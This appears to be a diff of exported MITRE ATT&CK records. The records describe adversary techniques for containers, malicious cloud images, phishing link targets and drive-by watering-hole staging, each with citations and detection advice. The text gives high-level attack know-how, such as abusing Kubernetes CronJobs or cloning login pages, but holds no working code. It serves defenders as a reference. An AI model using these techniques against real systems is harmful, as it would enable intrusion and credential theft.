'Intezer Doki July 20', 'description': 'Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.', 'url': 'https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/'}, {'source_name': 'Windows Server Containers Are Open', 'description': ""Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021."", 'url': 'https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yuval Avrahami, Palo Alto Networks', 'Daniel Prizmant, Palo Alto Networks', 'Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics', 'Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Idan Frimark, Cisco', 'Magno Logan, @magnologan, Trend Micro', 'Ariel Shuper, Cisco', 'Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee']","['Container: Container Creation', 'Process: OS API Execution', 'Process: Process Creation']",,"Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.",False,"['Administrator', 'User', 'root']","['Windows', 'Linux', 'Containers']",1.1,,,,,,, +attack-pattern,attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-30T17:20:05.789Z,2021-08-26T16:42:35.318Z,Malicious Image,"Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs) -Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1204/003', external_id='T1204.003'), ExternalReference(source_name='Summit Route Malicious AMIs', description='Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021.', url='https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/')]",attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2021-04-12 17:54:08.797000+00:00,Malicious Image,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Center for Threat-Informed Defense (CTID)', 'Vishwas Manral, McAfee']","['Container: Container Creation', 'Container: Container Start', 'Command: Command Execution', 'Image: Image Creation', 'Instance: Instance Creation', 'Instance: Instance Start', 'Application Log: Application Log Content']",,,,,"Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.",,,,,True,,,['User'],"['IaaS', 'Containers']",,,,1.0 -2021-03-29 17:06:22.247000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. +Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1204/003', 'external_id': 'T1204.003'}, {'source_name': 'Summit Route Malicious AMIs', 'description': 'Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021.', 'url': 'https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/'}, {'source_name': 'Aqua Security Cloud Native Threat Report June 2021', 'description': 'Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.', 'url': 'https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Center for Threat-Informed Defense (CTID)', 'Vishwas Manral, McAfee']","['Container: Container Creation', 'Container: Container Start', 'Command: Command Execution', 'Image: Image Creation', 'Instance: Instance Creation', 'Instance: Instance Start', 'Application Log: Application Log Content']",,"Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.",True,['User'],"['IaaS', 'Containers']",1.1,,,,,,, +attack-pattern,attack-pattern--1126cab1-c700-412f-a510-61f4937bb096,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-29T17:06:22.247Z,2021-07-27T17:38:17.146Z,Container Orchestration Job,"Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. -In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1053/007', external_id='T1053.007'), ExternalReference(source_name='Kubernetes Jobs', description='The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.', url='https://kubernetes.io/docs/concepts/workloads/controllers/job/'), ExternalReference(source_name='Kubernetes CronJob', description='The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.', url='https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/'), ExternalReference(source_name='Threat Matrix for Kubernetes', description='Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.', url='https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/')]",attack-pattern--1126cab1-c700-412f-a510-61f4937bb096,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-04-12 18:09:46.821000+00:00,Container Orchestration Job,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Center for Threat-Informed Defense (CTID)', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']","['Scheduled Job: Scheduled Job Creation', 'Container: Container Creation', 'File: File Creation']",,,,,Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ,,,,,True,,,['User'],['Containers'],,,,1.0 -2021-03-29 16:51:26.020000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. +In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053/007', 'external_id': 'T1053.007'}, {'source_name': 'Kubernetes Jobs', 'description': 'The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.', 'url': 'https://kubernetes.io/docs/concepts/workloads/controllers/job/'}, {'source_name': 'Kubernetes CronJob', 'description': 'The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/'}, {'source_name': 'Threat Matrix for Kubernetes', 'description': 'Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.', 'url': 'https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Center for Threat-Informed Defense (CTID)', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']","['Scheduled Job: Scheduled Job Creation', 'Container: Container Creation', 'File: File Creation']",,Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ,True,['User'],['Containers'],1.1,True,,,,,, +attack-pattern,attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-29T16:51:26.020Z,2021-04-14T12:02:20.641Z,Deploy Container,"Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. -Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1610', external_id='T1610'), ExternalReference(source_name='Docker Containers API', description='Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021.', url='https://docs.docker.com/engine/api/v1.41/#tag/Container'), ExternalReference(source_name='Kubernetes Dashboard', description='The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.', url='https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/'), ExternalReference(source_name='Kubeflow Pipelines', description='The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.', url='https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/'), ExternalReference(source_name='Aqua Build Images on Hosts', description='Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.', url='https://blog.aquasec.com/malicious-container-image-docker-container-host')]",attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2021-04-14 12:02:20.641000+00:00,Deploy Container,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Pawan Kinger, @kingerpawan, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Idan Frimark, Cisco', 'Center for Threat-Informed Defense (CTID)', 'Magno Logan, @magnologan, Trend Micro', 'Ariel Shuper, Cisco', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']","['Container: Container Creation', 'Container: Container Start', 'Pod: Pod Creation', 'Pod: Pod Modification', 'Application Log: Application Log Content']",,,,,"Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.",,,,,False,,,"['User', 'root']",['Containers'],True,,,1.0 -2021-03-29 16:39:26.183000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet) +Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1610', 'external_id': 'T1610'}, {'source_name': 'Docker Containers API', 'description': 'Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021.', 'url': 'https://docs.docker.com/engine/api/v1.41/#tag/Container'}, {'source_name': 'Kubernetes Dashboard', 'description': 'The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/'}, {'source_name': 'Kubeflow Pipelines', 'description': 'The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.', 'url': 'https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/'}, {'source_name': 'Aqua Build Images on Hosts', 'description': 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.', 'url': 'https://blog.aquasec.com/malicious-container-image-docker-container-host'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Pawan Kinger, @kingerpawan, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Idan Frimark, Cisco', 'Center for Threat-Informed Defense (CTID)', 'Magno Logan, @magnologan, Trend Micro', 'Ariel Shuper, Cisco', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']","['Container: Container Creation', 'Container: Container Start', 'Pod: Pod Creation', 'Pod: Pod Modification', 'Application Log: Application Log Content']",,"Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.",False,"['User', 'root']",['Containers'],1.0,True,,,,,, +attack-pattern,attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-29T16:39:26.183Z,2021-04-14T12:01:10.545Z,Container Administration Command,"Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet) -In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1609', external_id='T1609'), ExternalReference(source_name='Docker Daemon CLI', description='Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.', url='https://docs.docker.com/engine/reference/commandline/dockerd/'), ExternalReference(source_name='Kubernetes API', description='The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.', url='https://kubernetes.io/docs/concepts/overview/kubernetes-api/'), ExternalReference(source_name='Kubernetes Kubelet', description='The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.', url='https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/'), ExternalReference(source_name='Docker Entrypoint', description='Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.', url='https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime'), ExternalReference(source_name='Docker Exec', description='Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.', url='https://docs.docker.com/engine/reference/commandline/exec/'), ExternalReference(source_name='Kubectl Exec Get Shell', description='The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.', url='https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/')]",attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2021-04-14 12:01:10.545000+00:00,Container Administration Command,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Brad Geesaman, @bradgeesaman', 'Center for Threat-Informed Defense (CTID)', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']",['Command: Command Execution'],,,,,"Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ",,,,,False,,,,['Containers'],True,,,1.0 -2021-03-17 20:35:08.429000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. +In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1609', 'external_id': 'T1609'}, {'source_name': 'Docker Daemon CLI', 'description': 'Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.', 'url': 'https://docs.docker.com/engine/reference/commandline/dockerd/'}, {'source_name': 'Kubernetes API', 'description': 'The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/concepts/overview/kubernetes-api/'}, {'source_name': 'Kubernetes Kubelet', 'description': 'The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/'}, {'source_name': 'Docker Entrypoint', 'description': 'Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.', 'url': 'https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime'}, {'source_name': 'Docker Exec', 'description': 'Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.', 'url': 'https://docs.docker.com/engine/reference/commandline/exec/'}, {'source_name': 'Kubectl Exec Get Shell', 'description': 'The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.', 'url': 'https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Brad Geesaman, @bradgeesaman', 'Center for Threat-Informed Defense (CTID)', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']",['Command: Command Execution'],,"Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ",False,,['Containers'],1.0,True,,,,,, +attack-pattern,attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T20:35:08.429Z,2021-10-17T16:28:41.565Z,Link Target,"Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user. -Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1608/005', external_id='T1608.005'), ExternalReference(source_name='Malwarebytes Silent Librarian October 2020', description='Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.', url='https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/'), ExternalReference(source_name='Proofpoint TA407 September 2019', description='Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.', url='https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian')]",attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-27 17:53:29.106000+00:00,Link Target,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).",,,,,True,,,,['PRE'],,,,1.0 -2021-03-17 20:33:20.127000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). +Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1608/005', 'external_id': 'T1608.005'}, {'source_name': 'Malwarebytes Silent Librarian October 2020', 'description': 'Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.', 'url': 'https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/'}, {'source_name': 'Proofpoint TA407 September 2019', 'description': 'Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T20:33:20.127Z,2021-10-17T16:27:38.793Z,Drive-by Target,"Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox) Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. -Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1608/004', external_id='T1608.004'), ExternalReference(source_name='FireEye CFR Watering Hole 2012', description='Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.', url='https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html'), ExternalReference(source_name='Gallagher 2015', description='Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.', url='http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/'), ExternalReference(source_name='ATT ScanBox', description='Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', url='https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks')]",attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-27 17:52:55.302000+00:00,Drive-by Target,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target 